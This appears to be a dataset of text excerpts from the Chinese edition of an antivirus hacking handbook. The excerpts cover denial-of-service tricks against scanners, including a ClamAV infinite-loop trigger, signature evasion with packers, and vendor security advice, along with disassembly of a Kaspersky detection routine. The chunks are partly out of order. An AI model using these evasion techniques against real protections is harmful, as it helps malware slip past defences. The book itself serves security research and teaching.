    {"text": "我尝试提交VirusTotal扫描多次，但如图11-3所示，每次都在最后一步扫描失败了： https://www.virustotal.com/en/file/4cf14b0e0866ab0b6c4d0be3f412d471482eec3282716c0b48d6baff30794886/analysis/1426434540/ 。"},
    {"text": "图11-3 VirusTotal尝试分析一个采用XAR格式压缩、大小为32 GB的虚拟文件时，抛出了错误消息 我手动进行了测试，结果发现会让卡巴斯基扫描超时。"},
    {"text": "比较常见的利用场景是恶意软件下载一个可以触发反病毒扫描器解析异常的畸形文件，反病毒扫描对应文件后就会卡死（比如，陷入死循环）。 这样一来，畸形的文件会首先破坏反病毒软件的扫描功能，然后真正的恶意程序可以绕过反病毒软件的侦测并执行。"},
    {"text": "从实战角度来说，这一技巧可以用于让ClamAV（版本低于0.98.3）在扫描PE文件资源目录下的图标文件时，陷入死循环：PE文件资源目录下图标类似0xFFFFFFFF的数字会让ClamAV陷入永久的死循环中。"},
    {"text": "想象在下列路径结构中有两个这样的文件： base_dir\\file-causing-parsing-bug.bin base_dir\\sub-folder\\real-malware.exe 按照上述路径结构，反病毒软件会首先扫描第一个会触发路径漏洞的文件；"},
    {"text": "反病毒软件将无法进入子目录扫描真正的恶意文件，这样就可以绕过扫描器的扫描了。 类似地，与将触发反病毒软件解析漏洞的文件和恶意文件放在同一个目录的方式不同，另一种利用方式通过将相关畸形文件嵌入恶意文件来绕过反病毒软件的扫描。"},
    {"text": "大部分针对Windows的反病毒软件都会通过部署内核驱动来防止反病毒软件相关服务进程被恶意软件终止，防止调试器附加到相关反病毒服务上，通过安装文件系统过滤驱动来进行实时防护，或是安装一个NDIS迷你过滤器驱动来分析网络流量。 如果反病毒软件使用的相关驱动存在漏洞，本地用户又可以与相关驱动进行交互并触发漏洞，这样本地攻击者就可以触发系统的内核错误检查（通常表现为蓝屏），进而关闭或重启机器。"},
    {"text": "(1) 攻击者可以利用以下漏洞：一个将被复制到用户开始目录中的文件，一个允许安装任意驱动的bug，或是一个允许动态链接库被复制到一个目录下，并在重启之后可以被高权限的进程调用加载到地址空间中的bug。 (2) 攻击者会使用一个内核驱动漏洞来使机器强制重启，这样相关恶意操作会在重启之后生效。"},
    {"text": "图11-4 利用反病毒软件缺陷开展的DoS攻击利用程序 11.2 远程拒绝服务攻击 和其他所有暴露了远程攻击面的软件一样，反病毒软件也会存在远程拒绝服务漏洞。 远程拒绝服务攻击是针对安装了某些反病毒软件的用户计算机，远程发起拒绝服务攻击。 远程拒绝服务的攻击方式有很多，以下是一些常见的攻击方式： 压缩炸弹（和之前的本地拒绝服务案例类似）；"},
    {"text": "(2) 如果发现用户电脑上安装了存在漏洞的反病毒软件，会将用户浏览器导航到一个包含 iframe 指向会造成反病毒扫描器崩溃的文件的页面，这样反病毒软件就被禁用了。 在不使用识别技术的情况下，攻击者也可以逐个地让反病毒软件扫描器处理可能会造成其崩溃的畸形页面，直到用户安装的反病毒软件崩溃。"},
    {"text": "针对反病毒软件典型的本地拒绝服务攻击是，通过低权限运行提升权限，并在已经被感染的计算机上或在感染过程中尝试禁用或卸载反病毒软件。 远程拒绝服务攻击的目标是反病毒软件中可以被远程接触到的服务模块——那些不需要本地访问，可以在外部接触到的服务模块。"},
    {"text": "文件解析器的漏洞 这类漏洞虽然只是一个除0漏洞、空指针引用漏洞，或是在反病毒软件解析过程中造成死循环的漏洞，但是也会造成反病毒服务或扫描器崩溃，在反病毒软件的相关监控模块重启崩溃的服务前，给攻击者提供了可乘之机。"},
    {"text": "下一章将会探讨如何有条理地进行相关研究，使用静态分析技术查找反病毒软件的漏洞、薄弱环节、设计缺陷并收集有助于我们理解反病毒软件工作原理及其绕过方式的相关信息。"},
    {"text": "17.1 给反病毒软件用户的建议 对大多数用户来说，反病毒产品和安全之间似乎可以划等号，但是这种想法并不完全准确。 本节将会介绍解释一些常见误区，并给反病毒产品的用户一些建议，尤其是那些最需要注意防范安全类产品漏洞的用户：大公司和政府机构。"},
    {"text": "没有相关计算机知识的电脑用户常常认为安装了反病毒软件以后就万事大吉了。 他们觉得安装完反病毒软件以后就可以将其抛在脑后，因为反病毒软件会帮他们打理所有与安全有关的事务。"},
    {"text": "反病毒软件中的漏洞允许一些恶意软件绕过反病毒软件的实时防护，使其能够在系统中肆意破坏。 比如，反病毒软件中的零日漏洞或当前操作系统中的零日漏洞可以被恶意软件在内核态利用，执行其预期的恶意行为。"},
    {"text": "新病毒，甚至是旧病毒，都可以通过简单变形其相关代码内容，绕过一款或多款反病毒软件的基于静态特征码的侦测。 比如，恶意软件编写者可以通过新的文件壳或可执行文件封装工具来绕过反病毒软件的侦测。 使用可执行文件封装工具来处理恶意软件，变更其结构层次，同时保持内部逻辑不变，以便其能绕过反病毒软件的静态侦测，并不像听起来那样复杂，有时甚至和打包恶意软件一样简单。"},
    {"text": "如果API监测是在内核态实现的话，恶意软件被监控的行为可以通过长时间延迟，来让反病毒软件的内核态监控模块“忘记”恶意软件之前的行为。"},
    {"text": "因此，当恶意软件变种发布的时候，病毒编写者就知道反病毒厂商在变种样本被截获、分析直到开发相应侦测（或是感染修复）代码之前，都对新变种一无所知。 不过恶意软件终归还是会被反病毒厂商捕获到的，因此病毒编写者需要更新恶意软件来绕过反病毒软件的侦测。"},
    {"text": "(1) 一个漏洞攻击利用程序在受害者电脑上运行。 比如，这个漏洞利用攻击程序可能是一个利用了浏览器漏洞的恶意程序，接着它会下载并运行一些恶意程序。 (2) 恶意软件使用反病毒程序中的零日漏洞，来实现在反病毒软件的执行环境下运行（可能是Windows平台下的SYSTEM权限执行或是类Unix平台下的root权限执行），这样就可以绕过浏览器或文档阅读器的沙盒了。"},
    {"text": "这类Rootkit可以接触到反病毒软件的所有资源，这在理论上意味着Rootkit可以做任何事，因为它是在反病毒软件的上下文中执行的。 此外，对反病毒软件来说，侦测此类Rootkit会异常困难：因为这需要反病毒软件放弃对自身文件和进程的信任。"},
    {"text": "尽管在相关研究过程中，类似攻击手法并不常见，但这并不意味着不会有恶意软件使用类似的“隐身”技术。 事实上，很多高质量的恶意软件会用到相关高级“隐身”技术。 这一块技术目前还没有被恶意软件编写者研究透彻。"},
    {"text": "即使反病毒扫描器有自我保护机制，在不被感染的情况下扫描完成了整个电脑的文件（对独立的命令行扫描器来说，这种情况不太可能），但是计算机中的其他可执行程序还是处于被病毒感染的状态。"},
    {"text": "(5) 如果反病毒软件针对内网的其他机器进行网络分析，攻击者可以借助已经被攻破的邮件网关或Web服务器，通过HTTP、SMB/CIFS或其他协议向内网的其他机器发送恶意文件，来进一步渗透内网。 (6) 如果内网中的计算机使用了同样的反病毒产品，只要被攻破的内网机器可以通过网络接触到相关计算机上安装的反病毒产品，并进行网络分析，就可以用同样的零日漏洞利用程序攻破整个计算机。 总结：针对某一组织机构内使用的反病毒产品，使用一个或两个零日漏洞利用攻击程序，就可以攻破整个组织。 想象一下，一个蠕虫漏洞利用攻击程序，利用了一个我们最喜爱的反病毒程序中的零日漏洞。"},
    {"text": "上述场景不仅适用于文件分析工具（例如，常见的反病毒软件个人桌面版），也适用于网络分析工具（比如，分析计算机上所有网络流量的工具）。"},
    {"text": "这就导致，相比利用Google Chrome或Microsoft Word这类采取了一流防护措施来为攻击者利用其漏洞设置障碍的产品来说，利用反病毒产品的漏洞进行攻击十分轻松。"},
    {"text": "17.2.1 优秀的工程师并不代表安全 反病毒厂商会招募优秀的工程师来开发产品，同时还会招募优秀的程序员、分析师和数据库、系统以及网络管理员。"},
    {"text": "培训程序员的安全开发意识以及漏洞发现和利用能力，可以让他们清楚地意识到自己所开发反病毒软件中的相关漏洞，并在开发过程中将漏洞修复。"},
    {"text": "组织内如果不进行安全意识教育，会导致工程师在开发过程中缺失对安全因素的考虑，从而写出不安全的代码或作出缺少安全性考虑的程序设计选择。"},
    {"text": "17.2.2 利用反病毒软件的漏洞很简单 令人遗憾的是，除了少数例外，一些比较知名的反病毒软件都没有使用以下在浏览器和文本阅读器中常见的反漏洞利用技术： 权限隔离；"},
    {"text": "大多数反病毒软件有一个高权限（本地系统或root权限）执行的恶意软件分析服务（文件和网络流量分析）以及一个用于展示结果的GUI应用（一般没有多少权限）。 当恶意构造的网络流量包或文件被反病毒扫描器截取后，恶意软件就可以通过其内部漏洞攻破反病毒软件，同时获取系统最高权限（Windows系统中的本地系统权限或类Unix系统中的root权限）。"},
    {"text": "通常来说，在文档阅读器或浏览器中，有一个进程会拥有当前登录用户权限，其他一些worker进程拥有执行解析和渲染PDF文件、Word文档或Web页面的权限。"},
    {"text": "强烈建议在开发过程中持续对产品进行模糊测试，以此来挖掘和修复产品中的漏洞。 在开发过程中，开发者可以使用模糊测试来测试新功能。 QA团队在提供产品正式版本下载之前，也可以对最终编译的程序进行模糊测试。 但是，对于已经发布的程序，也应该使用模糊测试来挖掘其中的漏洞，因为有一些漏洞需要一周甚至是数月的模糊测试才能发现。 模糊测试效果好，可以暴露出程序中显而易见的安全漏洞，帮助挖掘程序中更复杂的漏洞，而且成本很低。"},
    {"text": "17.2.5 安全地使用权限 大部分反病毒软件通常会以可能的最高权限（本地系统或root权限）来运行进程，却没有像浏览器、办公软件或文档阅读器那样，使用沙盒或其他隔离运行措施。"},
    {"text": "） 如果反病毒软件想要进步，想要写出高质量的反病毒软件而不是带有大写SAFE标签的可爱GUI应用程序，就必须遵循像浏览器、文档阅读器这样的流行客户端软件几年之前使用的相关技术。"},
    {"text": "接着将读取到的信息发送给权限较低的应用去处理，该低权限应用有可能会因为网络协议解析模块或文件格式解析模块中的漏洞，执行潜在的恶意代码。 不过这样一来，攻击者就需要至少利用两个漏洞，才能攻击反病毒软件，执行任意代码： 首先利用通过低权限模块进行的文件或网络流量包解析模块中的漏洞；"},
    {"text": "此外，潜在的不安全代码需要被放入虚拟或沙盒环境中运行。 比如，让程序在模拟器或虚拟机中执行，而不是直接本机执行。 这样一来，如果要利用反病毒软件的漏洞执行任意代码，就需要一个可以从虚拟机或沙盒逃逸的漏洞。"},
    {"text": "因此，在开发过程中，不要使用C或C++编写所有程序模块，可以采取本机语言与内存安全语言结合的方式，这样可以有效降低代码存在缺陷时带来的危害。"},
    {"text": "可以用类似.NET、Lua、Perl、Python、Ruby和Java这样的托管（内存安全）或脚本语言来编写病毒扫描和文件修复程序，还可以编写文件格式和网络协议解析器。"},
    {"text": "对于漏洞挖掘者来说，使用内存安全语言与使用本机语言编写的程序之间有很大的区别，因为在使用这类内存安全语言编写的程序中，存在可以远程利用的漏洞的可能性很小，所以在这类程序中发现漏洞也相对困难。"},
    {"text": "17.2.7 改进升级服务和协议的安全性 许多反病毒软件在下载文件过程中没有使用SSL或TLS加密，这就意味着攻击者可以截取修改未加密通信渠道中的信息。 对反病毒软件更新服务最起码的要求是，下载过程中必须使用TLS加密的传输渠道：无论是下载程序，还是恶意软件特征数据库文件。"},
    {"text": "但是，Windows更新服务每一个下载的cabinet文件（.cab）或可执行程序，在传输过程中都会经过更新程序的签名和校验。 Windows安全良好的更新服务给了我们另一个启发：更新服务下载的所有文件在运行之前必须签名和校验。"},
    {"text": "你可能会惊讶地发现反病毒安全套装的病毒数据库文件，甚至是其程序模块文件（尤其是一些反病毒软件的Unix版本中）都没有签名措施，这些安全套装只是简单地使用MD5、SHA1或CRC32来校验更新文件在传输过程中的正确性。"},
    {"text": "使用RSA算法对下载的更新文件或对应的散列值来进行签名十分安全，因为这样不仅能验证下载更新文件的完整性，还能对已下载文件的真实性进行校验（可以校验文件的签名是否正确、文件是否已经损坏、文件是否在传输过程中被攻击者修改）。 如果签名校验正确，就可以保证从服务器端下载的更新文件完整且没有被篡改过。"},
    {"text": "现在几乎大部分Windows系统都已经是64位的了，16位的程序代码已经没有任何作用了，所以保留针对旧MS-DOS病毒或16位的Windows系统下的病毒的侦测又有什么用呢？"},
    {"text": "如果反病毒厂商在删除了一些已经废弃的侦测程序代码后，在一些测评机构的测评中分数降低，这时候就要对该机构的测评是否有意义表示怀疑了。 如果反病毒厂商追求的是技术而非公关推广的话，应该避免进行此类无意义的测评，因为此类测评只能在公关层面给反病毒产品贴金，而不能实实在在提升反病毒产品的质量。"},
    {"text": "17.3 总结 在本书的最后一章，我分享了一些关于反病毒厂商如何利用书中谈到的一些知识来改进其未发布的安全套装和反病毒软件质量的想法和经验。"},
    {"text": "记住了上述要点后，我们还需要知道，保护计算机安全的责任并不完全在于反病毒厂商一方。 作为个人或企业，我们也需要了解并采取措施保护计算机的安全。"},
    {"text": "反病毒产品基于特征码、启发式引擎和动静态分析技术侦测已知的安全威胁 除非相关病毒的感染模式（行为或静态提取的代码结果）已知，否则反病毒软件无法侦测未知以及新型的安全危害。"},
    {"text": "恶意软件的变种和新型感染以及绕过反病毒软件的技术，比反病毒厂商防御和侦测恶意软件的速度要快得多 有一句话讲得好：“破坏总比建设来得容易。"},
    {"text": "黑客攻防技术宝典：反病毒篇 致谢 我要感谢Mario Ballano、Ruben Santamarta、Victor Manual Alvarez，以及所有给予我帮助、与我分享意见和建议、跟我讨论想法的朋友们。最要感谢的是我的女友，在整个写作过程中，她给予了我莫大的理解和支持。十分感谢Elias Bachaalany，没有他的鼎力相助，本书就不可能写成。另外，特别鸣谢Wiley的每一位工作人员，与你们的合作十分愉快。最后，还要感谢曾经帮助和支持我的Daniel Pistelli、Carol Long、Sydney Argenta、Nicole Hirschman和Marylouise Wiack。 黑客攻防技术宝典：反病毒篇 第二部分 绕过反病毒软件 第 6 章 绕过反病毒软件 第 7 章 绕过特征码识别 第 8 章 绕过扫描器 第 9 章 绕过启发式引擎 第 10 章 确定攻击面 第 11 章 拒绝服务攻击"},
    {"text": "黑客攻防技术宝典：反病毒篇 版权声明 前言 本书概述 本书结构 目标读者 所需工具 网络资源 总结 电子书 致谢 第一部分 反病毒技术入门 第 1 章 反病毒软件入门 1.1 何谓反病毒软件 1.2 反病毒软件的历史与现状 1.3 反病毒扫描器、内核和产品 1.4 反病毒软件的典型误区 1.5 反病毒软件功能 1.5.1 基础功能 1.5.2 高级功能 1.6 总结 第 2 章 逆向工程核心 2.1 逆向分析工具 2.1.1 命令行工具与GUI工具 2.1.2 调试符号 2.1.3 提取调试符号的技巧 2.2 调试技巧 后门和配置设置 2.3 移植内核 2.4 实战案例：为Linux版Avast编写Python binding 2.4.1 Linux版Avast简介 2.4.2 为Linux版Avast编写简单的Python binding 2.4.3 Python binding的最终版本 2.5 实战案例：为Linux版Comodo编写本机C/C++工具 2.6 内核加载的其他部分 2.7 总结 第 3 章 插件系统 3.1 插件加载原理 3.1.1 反病毒软件的全功能链接器 3.1.2 理解动态加载 3.1.3 插件打包方式的利弊 3.2 反病毒插件的种类 3.2.1 扫描器和通用侦测程序 3.2.2 支持文件格式和协议 3.2.3 启发式检测 3.3 高级插件 3.3.1 内存扫描器 3.3.2 非本机代码 3.3.3 脚本语言 3.3.4 模拟器 3.4 总结 第 4 章 反病毒特征码技术 4.1 典型特征码 4.1.1 字节流 4.1.2 校验和 4.1.3 定制的校验和 4.1.4 加密散列算法 4.2 高级特征码 4.2.1 模糊散列算法 4.2.2 基于程序图的可执行文件散列算法 4.3 总结 第 5 章 反病毒软件的更新系统 5.1 理解更新协议 5.1.1 支持SSL/TLS 5.1.2 验证更新文件 5.2 剖析更新协议 5.3 错误的保护 5.4 总结 第二部分 绕过反病毒软件 第 6 章 绕过反病毒软件 6.1 谁会使用反病毒软件的绕过技术 6.2 探究反病毒软件侦测恶意软件的方式 6.2.1 用于侦测恶意软件的老把戏：分治算法 6.2.2 二进制指令和污点分析 6.3 总结 第 7 章 绕过特征码识别 7.1 文件格式：偏门案例和无文档说明案例 7.2 绕过现实中的特征码 7.3 绕过特定文件格式的相关提示和技巧 7.3.1 PE文件 7.3.2 JavaScript 7.3.3 PDF 7.4 总结 第 8 章 绕过扫描器 8.1 绕过技术的通用提示和策略 8.1.1 识别分析模拟器 8.1.2 高级绕过技巧 8.2 自动化绕过扫描器 8.2.1 初始步骤 8.2.2 MultiAV配置 8.2.3 peCloak 8.2.4 编写终极工具 8.3 总结 第 9 章 绕过启发式引擎 9.1 启发式引擎种类 9.1.1 静态启发式引擎 9.1.2 绕过简单的静态启发式引擎 9.1.3 动态启发式引擎 9.2 总结 第 10 章 确定攻击面 10.1 理解本地攻击面 10.1.1 查找文件和系统目录权限的弱点 10.1.2 权限提升 10.2 错误的访问控制列表 10.2.1 在Unix平台上利用SUID和SGID二进制文件漏洞 10.2.2 程序和二进制文件的ASLR和DEP保护 10.2.3 利用Windows对象的错误权限 10.2.4 利用逻辑缺陷 10.3 理解远程攻击面 10.3.1 文件解析器 10.3.2 通用侦测和感染文件修复代码 10.3.3 网络服务、管理面板和控制台 10.3.4 防火墙、入侵监测系统和解析器 10.3.5 更新服务 10.3.6 浏览器插件 10.3.7 安全增强软件 10.4 总结 第 11 章 拒绝服务攻击 11.1 本地拒绝服务攻击 11.1.1 压缩炸弹 11.1.2 文件格式解析器中的缺陷 11.1.3 攻击内核驱动 11.2 远程拒绝服务攻击 11.2.1 压缩炸弹 11.2.2 文件格式解析器中的缺陷 11.3 总结 第三部分 分析与攻击 第 12 章 静态分析 12.1 手动二进制审计 12.1.1 文件格式解析器 12.1.2 远程服务 12.2 总结 第 13 章 动态分析 13.1 模糊测试 13.1.1 模糊测试工具是什么 13.1.2 简单的模糊测试 13.1.3 对反病毒产品的自动化模糊测试 13.1.4 找到好的模糊测试模版 13.1.5 查找模版文件 13.1.6 使代码覆盖率最大化 13.1.7 模糊测试套组Nightmare 13.2 总结 第 14 章 本地攻击 14.1 利用后门和隐藏功能 14.2 挖掘非法特权、权限分配和访问控制列表 14.3 在内核态查找隐蔽的功能特性 14.4 更多的内核逻辑漏洞 14.5 总结 第 15 章 远程漏洞 15.1 实施客户端漏洞利用攻击 15.1.1 利用沙盒的缺陷 15.1.2 利用ASLR、DEP和位于固定地址的RWX页面漏洞 15.1.3 编写复杂的payload 15.1.4 利用更新服务中的漏洞 15.2 服务器端的漏洞利用 15.2.1 客户端和服务器端漏洞利用的区别 15.2.2 利用ASLR、DEP和地址固定的RWX内存页面相关漏洞 15.3 总结 第四部分 当前趋势与建议 第 16 章 当前反病毒防护趋势 16.1 匹配攻击技术与目标 16.1.1 多种多样的反病毒产品 16.1.2 针对家庭用户 16.1.3 针对中小型公司 16.2 针对政府机构和大型公司 16.3 总结 第 17 章 一些建议和未来展望 17.1 给反病毒软件用户的建议 17.1.1 盲目信任是错误的 17.1.2 隔离机器来增强防护 17.1.3 审计反病毒产品 17.2 给反病毒厂商的建议 17.2.1 优秀的工程师并不代表安全 17.2.2 利用反病毒软件的漏洞很简单 17.2.3 进行审计 17.2.4 模糊测试 17.2.5 安全地使用权限 17.2.6 减少解析器中的危险代码 17.2.7 改进升级服务和协议的安全性 17.2.8 删除或禁用旧代码 17.3 总结"},
    {"text": "通过阅读本书，你会了解到有关反病毒产品和逆向工程的知识。 值得一提的是，本书所讨论的逆向工程的相关技术和工具，不仅可以应用在反病毒软件上，也可以应用于其他软件产品。"},
    {"text": "当然，如果你是反病毒工程师，同样能从中受益，因为你将了解到攻击者如何分析反病毒产品，如何将其拆分成不同模块，以及你该如何避免反病毒产品被攻破或者如何增加破解难度。 我想强调的是，虽然本书重点在于讲述与反病毒产品相关的理论知识，但是也提供了一些实战案例，展示了如何在实际的应用程序中运用逆向工程、漏洞挖掘和漏洞利用技术。 本书概述 本书专为那些想更好地了解反病毒产品功能实现原理的读者而撰写，无论你身处攻防战役中的哪一个阵营，都不妨研读一番。 本书旨在帮助你了解在实战过程中针对特定的任务目标，何时以及如何选用正确的技术和工具，同时又该重点关注反病毒产品的哪些部分。 如果下列描述中有一条或多条与你的情况相吻合，那么没错，本书就是为你而写的： 想更深入地了解反病毒产品的安全性； 想更深入地了解逆向工程的相关技术（也许目的是逆向分析反病毒产品）；"},
    {"text": "想动手将反病毒产品拆分成多个模块； 想编写攻击反病毒产品的漏洞利用程序； 想评估反病毒产品； 想从整体上提高自己的反病毒产品的安全性，或者想知道如何编写防御性代码以对付攻击性代码； 热爱编程，或者想丰富信息安全领域的相关知识，提升技术水平。"},
    {"text": "这一章还将探讨如何结合逆向工程技术使用Python为Avast for Linux编写附加组建程序，并介绍一款使用C/C++为Comodo for Linux反病毒软件编写的非官方软件开发工具包（software development kit，SDK）。"},
    {"text": "这一章将介绍如何绕过静态启发式扫描引擎、反汇编、反模拟和其他反病毒技术，还将介绍如何编写一个用以生成绕过反病毒扫描器检测的可执行文件的自动化工具。 第9章，绕过启发式引擎 展示如何同时绕过反病毒软件采用的静态和动态启发式引擎，以此来结束反病毒防护绕过技术的讨论。"},
    {"text": "第12章，静态分析 带领你学习如何静态审计反病毒软件来挖掘其中存在的漏洞，包括一些真实案例。 第13章，动态分析 继续讨论如何挖掘反病毒产品的漏洞，但这里将利用动态分析技术。"},
    {"text": "这一章将会重点介绍现今最流行的漏洞挖掘方法——模糊测试，并向你阐释如何搭建一个统一管理的分布式模糊测试工具，来自动挖掘和分析反病毒产品的缺陷。"},
    {"text": "第14章，本地攻击 介绍利用本地漏洞攻击反病毒产品的过程，并将重点关注逻辑漏洞、后门和内核泄漏的利用。 第15章，远程漏洞 讨论如何利用反病毒产品中的内存损坏漏洞，编写远程漏洞利用程序。"},
    {"text": "目标读者 本书主要面向拥有中级技术水平的个人开发者和逆向工程师，不过资深逆向工程师同样会从本书所讨论的技术内容中获益。 如果你是反病毒工程师或恶意软件逆向工程师，那么本书能帮助你了解攻击者会如何利用软件漏洞。 同时，本书也阐释了如何避免一些不利情况，如攻击者利用你的反病毒产品中的漏洞攻击你要保护的用户。"},
    {"text": "网络资源 为了让你能够简单快速上手，本书中可能需要用到的一些基础工具都可以在Wiley为本书建立的页面上下载： http://www.wiley.com/go/antivirushackershandbook 。"},
    {"text": "学习如何攻破反病毒产品不仅对攻击者们来说大有裨益，也可以帮助你理解如何提升反病毒产品的防护效果，以及反病毒产品的用户如何才能最大程度地保护自己。"},
    {"text": "黑客攻防技术宝典：反病毒篇 第 7 章 绕过特征码识别 无论对于“坏人”（如恶意软件编写者）还是对于“好人”（如渗透测试者）来说，绕过反病毒软件的特征码都是最常见的任务之一。 绕过反病毒特征码技术的复杂程度取决于所掌握特征码信息的数量，要绕过特征码技术的文件格式，以及想要绕过的反病毒软件数量。"},
    {"text": "例如，第6章提到的绕过ClamAV名为Exploit.HTML.IFrame-6的反病毒特征码的过程，就是找到反病毒软件校验和匹配的偏移量并对其进行细微改动。"},
    {"text": "在那段时间里，要编写针对此类文件格式的解析器，通常需要逆向分析并查阅其他个人或团队逆向此类文件格式时记录下来的相关信息（比如，StarOffice为了兼容Microsoft Office类文件，对Microsoft Office的相关部分进行了逆向分析）。"},
    {"text": "由于缺少文件格式的规范文档，反病毒软件针对OLE2容器文件（即Word文档）的解析器并不完善，且解析器依赖的数据或逆向分析结果并不完全准确甚至是错误的。"},
    {"text": "反病毒软件实现针对此类文件格式的检测解决方案过程十分复杂且耗时，这间接给病毒作者、逆向分析者和渗透测试工程师绕过反病毒扫描器开启了方便之门。"},
    {"text": "7.2 绕过现实中的特征码 本节将以卡巴斯基2015年1月底针对恶意软件Exploit.MSWord.CVE-20103333.cp发布的一条通用检测特征码作为研究对象。"},
    {"text": "首先从最简单的问题入手：卡巴斯基的病毒特征库文件是AVC文件格式。 当安装完卡巴斯基反病毒软件以后，会有很多这样的病毒特征库文件，包括base0001.avc、basea5ec.avc、extXXX.avc、genXXX.avc、unpXXX.avc等。"},
    {"text": "如果你用十六进制的编辑器（这里是Pyew）打开这个文件，会看到类似下面这样的结果： 0000 41 56 50 20 41 6E 74 69 76 69 72 61 6C 20 44 61 AVP Antiviral Da 0010 74 61 62 61 73 65 2E 20 28 63 29 4B 61 73 70 65 tabase. (c)Kaspe 0020 72 73 6B 79 20 4C 61 62 20 31 39 39 37 2D 32 30 rsky Lab 1997-20 0030 31 34 2E 00 00 00 00 00 00 00 00 00 00 00 0D 0A 14.............. 0040 4B 61 73 70 65 72 73 6B 79 20 4C 61 62 2E 20 30 Kaspersky Lab. 0 0050 31 20 41 70 72 20 32 30 31 34 20 20 30 30 3A 35 1 Apr 2014 00:5 0060 36 3A 34 31 00 00 00 00 00 00 00 00 00 00 00 00 6:41............ 0070 00 00 00 00 00 00 00 00 00 00 00 00 0D 0A 0D 0A ................ 0080 45 4B 2E 38 03 00 00 00 01 00 00 00 DE CD 00 00 EK.8............ 如你所见，这是一个带有ASCII字符串的二进制未知格式文件。"},
    {"text": "这款工具的GUI版本和源代码可以在该作者的网站下载： http://z0mbie.daemonlab.org/ 。 另外还有一款基于相同源代码实现的GUI工具，可以在以下论坛下载： www.woodmann.com/forum/archive/index.php/t-9913.html 。"},
    {"text": "这里选用的GUI工具为AvcUnpacker.EXE，从卡巴斯基的文件安装目录中复制一份daily.avc（或使用Google搜索引擎，从卡巴斯基的更新服务器上下载一份）。 使用AvcUnpacker.EXE打开daily.avc文件。"},
    {"text": "图7-1 AVC工具解析卡巴斯基daily.avc特征库文件 解压缩daily.avc文件后，同一目录下将会出现包括daily.avc文件在内的多个文件和文件目录（如图7-2所示）。"},
    {"text": "如果你使用文本编辑器打开，会看到如下内容： ------------------------------ 0000 ----------------------------------- File Virri-Signature Length (1) = 00 File Virri-Signature Offset (1) = 0000 File Virri-Signature (1),w = 0000 File Virri-Sub Type = 01 File Virri-Signature (1),dw = 00000000 File Virri-Signature Length (2) = 00 File Virri-Signature Offset (2) = 0000 File Virri-Signature (2),dw = FFFFFFFF File Virri-Virri Finder stub in=0000-> \\\\Lib-File Virri Finding Stubs\\Obj0000.obj File Virri-Name = 000001C9 -> Trojan.Win32.Hosts2.gen File Virri-Cure Parameter(0) = 00 File Virri-Cure Parameter(1) = 0000 File Virri-Cure Parameter(2) = 0000 File Virri-Cure Parameter(3) = 0000 File Virri-Cure Parameter(4) = 0000 File Virri-Cure Parameter(5) = 0000 -------------------------------------- 0001 -------------------------- File Virri-Signature Length (1) = 04 File Virri-Signature Offset (1) = 0000 File Virri-Signature (1),w = 5C7B File Virri-Sub Type = 01 File Virri-Signature (1),dw = 7B270921 File Virri-Signature Length (2) = 00 File Virri-Signature Offset (2) = 0000 File Virri-Signature (2),dw = 00000000 File Virri-Virri Finder stub in = 0001 -> \\\\Lib-File Virri Finding Stubs\\Obj0001.obj File Virri-Name = 00000000 -> Exploit.MSWord.CVE-2010-3333.cp File Virri-Cure Parameter(0) = 02 File Virri-Cure Parameter(1) = 0000 File Virri-Cure Parameter(2) = 0000 File Virri-Cure Parameter(3) = 0000 File Virri-Cure Parameter(4) = 0000 File Virri-Cure Parameter(5) = 0000 (...many more lines stripped...) 如你所见，文件包含病毒名称Exploit.MSWord.CVE-20103333.cp，以及侦测模块的路径，侦测模块其实位于通用对象文件（common object file format，COFF）中，它包括了侦测此类漏洞利用程序时所要用到的所有代码。"},
    {"text": "你会看到如图7-3所示的反汇编调试结果： 图7-3 用于发现CVE-2010-3333漏洞程序的通用侦测逻辑 以上就是要侦测卡巴斯基称作Exploit.MSWord.CVE-2010-3333.cp的漏洞利用程序所要用到的所有代码。"},
    {"text": "程序首先会检查文件头（调试符号为 ds:_Header external ）是否是以 0x74725C7B 开始（十六进制字符为 'tr\\{' ），然后校验文件长度（调试符号为 ds:_File_Length ）是否大于 0x5D00 字节（23 808字节）。"},
    {"text": "初期检查结束后，程序会参考查找ASCII字符 ilpd 和 ocen ，然后调用名为 DGBMS2 的函数，结果如下： .text:00000026 mov eax, ds:s_ilpd .text:0000002B mov ecx, ds:s_ocen .text:00000031 mov dl, ds:byte_128 .text:00000037 push 20h ; ' ' .text:00000039 push (offset _Page_E+7E0h) .text:0000003E mov [ebp+search_buf], eax .text:00000041 lea eax, [ebp+search_buf] .text:00000044 push 8 .text:00000046 push eax .text:00000047 mov [ebp+search_buf+4], ecx .text:0000004A mov byte ptr [ebp+search_buf+8], dl .text:0000004D call _DGBMS2 .text:00000052 add esp, 10h 如果你不清楚 DGBMS2 函数的功能，可以暂且认为它是用来查找文件中字符串的函数。 事实上， DGBMS2 函数会查找在 Page_E 符号后面某处的字符串 dpli 和 neco （每个 Page_X 符号都包含文件中的相关字节。"},
    {"text": "按照这样的步骤查找完后，如果匹配到了对应的字符串，函数会查找文件末尾的23 808字节，读取 Page_C 里的512字节，然后查找字符串 {\\\\sp2{\\\\sn1 pF 和 ments} ： .text:0000005D mov edx, dword ptr ds:__0+4 ; \"2{\\\\sn1 pF\" .text:00000063 mov ecx, dword ptr ds:__0 ; \"{\\\\sp2{\\\\sn1 pF\" .text:00000069 mov eax, dword ptr ds:_File_Length .text:0000006E mov [ebp+search_buf2], ecx .text:00000071 mov ecx, dword ptr ds:__0+8 ; \"n1 pF\" .text:00000077 mov [ebp+search_buf2+4], edx .text:0000007A movzx edx, word ptr ds:__0+0Ch ; \"F\" .text:00000081 mov [ebp+search_buf2+8], ecx .text:00000084 mov ecx, dword ptr _ ; \"ments}\" .text:0000008A mov word ptr [ebp+search_buf2+0Ch], dx .text:0000008E movzx edx, word ptr _+4 ; \"s}\" .text:00000095 push 200h ; _DWORD .text:0000009A add eax, 0FFFFA300h .text:0000009F mov [ebp+search_buf], ecx .text:000000A2 mov cl, byte ptr _+6 ; \"\" .text:000000A8 push offset _Page_C ; _DWORD .text:000000AD push eax ; _DWORD .text:000000AE mov word ptr [ebp+search_buf+4], dx .text:000000B2 mov byte ptr [ebp+search_buf+6], cl .text:000000B5 call _Seek_Read .text:000000BA add esp, 0Ch .text:000000BD cmp eax, 200h .text:000000C2 jnz short loc_F8 .text:000000C4 push eax ; _DWORD .text:000000C5 push offset _Page_C ; _DWORD .text:000000CA lea edx, [ebp+search_buf2] .text:000000CD push 0Dh ; _DWORD .text:000000CF push edx ; _DWORD .text:000000D0 call _DGBMS2 .text:000000D5 add esp, 10h 